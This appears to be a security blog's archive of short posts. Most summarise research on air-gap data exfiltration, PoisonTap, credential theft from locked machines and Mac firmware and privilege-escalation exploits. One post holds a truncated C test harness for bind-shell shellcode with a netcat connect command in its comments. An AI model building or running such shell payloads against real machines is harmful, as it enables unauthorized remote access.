Apr 18 11

passwdResearchers from Cyber-Security Research Center at Ben-Gurion University have created bridgeware that can stealthily exfiltrate data from air-gapped computers using power lines.
In their POC, a malicious code is running on a compromised computer system which has control over the power consumption by intentionally regulating the CPU utilization. In this case data is modulated, encoded, and transmitted on top of the current flow fluctuations, and then it is conducted and propagated through the power lines.
In their paper the researchers present two versions of that attack:

  • Line level power-hammering: In this attack, the attacker taps the in-home powerlines that are directly attached to the electrical outlet.
  • Phase level power-hammering: In this attack, the attacker taps the power lines at the phase level, in the main electrical service panel

Read the whole paper: PowerHammer: Exfiltrating Data from Air-Gapped Computers through Power Lines

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Mrz 17 23

In this new paper title „LED-it-GO: Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED“ researchers at Ben-Gurion University Cyber Security Research Center present a method how data can be stolen with a maximum bit rate of 4000 bits per second from an isolated „air-gapped“ computer’s hard drive reading the pulses of light on the LED drive using various types of cameras and light sensors.

Find out more:
* Cameras can Steal Data from Computer Hard Drive LED Lights
* PDF version of the paper
* LED-it-GO – youtube video

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Nov 16 17

poisontapSamy Kamkar released an amazing new tool suite for Raspberry Pi Zero which can siphons cookies, exposes the internal router and installs a persitend web-based backdoor on your locked computers.

Project site: https://samy.pl/poisontap/
Source code: https://github.com/samyk/poisontap

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Sep 16 08

passwdSecurity researcher Robert Fuller discovered an attack method with which Windows and Mac user credentials can be stolen from a locked machine.
This attack is affected against actual Windows and Mac OS computers on which the user has already logged in.

The researcher used USB-based Ethernet dongles like USB Armory or Hak5 Turtle , for which he modified the firmware code to run special software that sets the plug-and-play USB device as the network gateway, DNS, and WPAD servers on the computer it’s connected to.
Find out more:

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Jul 16 06
#include <stdio.h>
#include <string.h>
// Victim: netstat -an | grep LISTEN | grep tcp
// Attacker: nc <victim_IP> <port>
unsigned char code[] = \
#define PORT "\x39\x39"
// Keep to two bytes
int main ()
    // I make sure there are no nulls
    // The string count will terminate at the first \x00
    printf("The Shellcode is %d Bytes Long\n", strlen(code));
    // Next I throw 0xAAAAAAAA into every register before shellcode execution
    // This ensures that the shellcode will run in any circumstance
	__asm__("mov $0xAAAAAAAAAAAAAAAA, %rax\n\t"
		"mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t" 
		"mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t" 
		"mov %rax, %r10\n\t" "mov %rax, %r11\n\t" "mov %rax, %r12\n\t" 
		"mov %rax, %r13\n\t" "mov %rax, %r14\n\t" "mov %rax, %r15\n\t"
		"call code");
	return 0;

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Sep 15 28

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Aug 15 04

DYLD_PRINT_TO_FILEOh no, only a couple of days after OS X  a privilege escalation vulnerability in OS X 10.10 was discovered a researcher at Malwarebytes spot a new adware installer that uses DYLD_PRINT_TO_FILE exploit.

What you can do?

  • wait until Apple released a security update while you get p0wned
  • install SUIDGuard – A kernel extension adding mitigations to protect SUID/SGID binaries

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Aug 15 03

Kovah, who discovered with his partners a lot of firmware vulnerabilities in Macs  last year has now designed with Trammell Hudson, a security engineer a worm they dubbed Thunderstrike 2 that can spread between MacBooks undetected.

[The attack is] really hard to detect, it’s really hard to get rid of, and it’s really hard to protect against something that’s running inside the firmware

Find out more at BlackHat & DefCon or read an amazing article @wired

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